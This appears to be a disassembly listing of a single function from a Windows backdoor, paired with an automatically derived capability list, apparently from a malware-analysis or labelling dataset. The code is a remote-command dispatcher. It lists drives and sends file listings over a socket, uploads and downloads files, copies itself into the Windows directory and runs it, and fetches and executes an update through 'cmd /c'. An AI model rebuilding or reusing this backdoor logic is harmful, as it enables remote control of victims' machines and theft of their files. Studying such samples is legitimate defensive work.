Function at 0x14002530
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Get disk information
Get hostname
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov eax, 0x15a0
call fcn.14003410
push ebx
push ebp
push esi
push edi
mov ecx, 0x4e1
xor eax, eax
lea edi, [esp + 0x229]
mov byte [esp + 0x228], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
movsx eax, byte [esp + 0x15b8]
add eax, 0xffffff9f
cmp eax, 0xf
ja case.default.0x1400257a
jmp dword [eax*4 + 0x14002b68]
mov eax, dword [esp + 0x15b4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [esp + 0x124]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14008064
call fcn.14001290
mov edi, 0x14008064
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x14008064
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.14001250
push 0x14008044
call fcn.14001290
add esp, 0xc
lea eax, [esp + 0x124]
push 0
push 0x14008044
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0x14008044
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x14008044
call fcn.14001250
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
mov eax, dword [0x14008d4c]
test eax, eax
jne case.default.0x1400257a
push 0
push 0
push 0
push 0x14001c70
jmp 0x14002662
mov eax, dword [0x14008d50]
test eax, eax
jne case.default.0x1400257a
push 0
push 0
push 0
push 0x14001d90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret
push 2
call fcn.14001810
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
push 1
call fcn.14001810
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
mov ebp, dword [esp + 0x15b4]
lea ecx, [esp + 0x22c]
mov dword [esp + 0x18], ecx
push 0
lea ecx, [esp + 0x24]
push 0x104
lea edx, [esp + 0x234]
lea eax, [esp + 0x234]
push ecx
push ebp
mov dword [esp + 0x2c], 0x1388
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, str.ROOT
lea eax, [esp + 0x20]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x1400272b
test cl, cl
je 0x14002727
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x1400272b
add eax, 2
add esi, 2
test cl, cl
jne 0x14002703
xor eax, eax
jmp 0x14002730
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x140027be
mov ecx, 0x41
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x20]
mov esi, dword [esp + 0x14]
test al, al
lea edx, [esp + 0x20]
je 0x140027d4
mov byte [esi], 0x3f
mov ecx, dword [esp + 0x14]
mov edi, edx
xor eax, eax
lea ebx, [ecx + 1]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x14]
mov edi, edx
not ecx
dec ecx
lea esi, [eax + ecx + 2]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x14], esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [edx + ecx + 1]
lea edx, [edx + ecx + 1]
test al, al
jne 0x14002763
jmp 0x140027d4
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.14002370
mov esi, dword [esp + 0x1c]
add esp, 8
mov eax, dword [esp + 0x18]
push 0
sub esi, eax
sub eax, 4
push 9
push str.FILELIST_
mov dword [esp + 0x24], eax
push ebp
mov dword [eax], esi
call dword [sym.imp.WS2_32.dll_send]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call fcn.14001f00
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
mov edi, dword [sym.imp.KERNEL32.dll_Beep]
mov esi, 0x64
cmp esi, 0x7d0
push 0xc8
jae 0x14002837
push esi
jmp 0x1400283f
mov ecx, 0xfa0
sub ecx, esi
push ecx
call edi
add esi, 0x64
cmp esi, 0xfa0
jb 0x14002827
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 0x15a0
ret
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x15b4]
push 0
push 9
push str.RESPONSE_
push edx
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret
mov esi, dword [esp + 0x15b4]
push 0
lea eax, [esp + 0x24]
push 0x104
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov edi, dword [sym.imp.WS2_32.dll_send]
push 0
push 9
push str.UP_READY_
push esi
call edi
lea ecx, [esp + 0x20]
push ecx
push esi
call fcn.14001f90
add esp, 8
test eax, eax
push 0
push 9
je 0x140028f8
push str.UFILE_OK_
push esi
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret
push str.UFILE_NO_
push esi
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret
mov esi, dword [esp + 0x15b4]
push 0
lea edx, [esp + 0x24]
push 0x104
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
push 0
push 9
push str.DN_READY_
push esi
call dword [sym.imp.WS2_32.dll_send]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x20]
push eax
push esi
call fcn.14002160
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 0x15a0
ret
lea ecx, [esp + 0x20]
push 0x104
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
push 2
lea edx, [esp + 0x24]
push 0x14008318
push edx
call fcn.14003440
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x104
lea eax, [esp + ecx + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [esp + 0x15b4]
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0
push 9
push str.MODULE_NM
push esi
call ebx
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push esi
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret
mov esi, dword [esp + 0x15b4]
push 0
lea edx, [esp + 0x24]
push 0x104
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
push 0
push 9
push str.SZ_READY_
push esi
call dword [sym.imp.WS2_32.dll_send]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x20]
push eax
push esi
call fcn.140020d0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x15b4]
mov edi, dword [sym.imp.WS2_32.dll_send]
push 0
push 9
push str.UDT_READY
push esi
call edi
push 0x14008054
call fcn.14001290
push 0x14008054
push esi
call fcn.14001f90
add esp, 0xc
test eax, eax
push 0
push 9
je 0x14002aed
push str.UPDATE_OK
push esi
call edi
push 0x14008054
lea ecx, [esp + 0x22c]
push str.cmd__c__s
push ecx
call fcn.140030e2
add esp, 0xc
lea edx, [esp + 0x228]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x14008054
call fcn.14001250
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
push str.UPDATE_NO
push esi
call edi
push 0x14008054
call fcn.14001250
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15a0
ret
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov ebx, dword [esp + 0x15b4]
mov ebp, dword [sym.imp.WS2_32.dll_send]
push 0
push 9
push str._VERSION_
push ebx
call ebp
push 0x190
call esi
mov edi, str.2009.03.16
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.2009.03.16
push ebx
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15a0
ret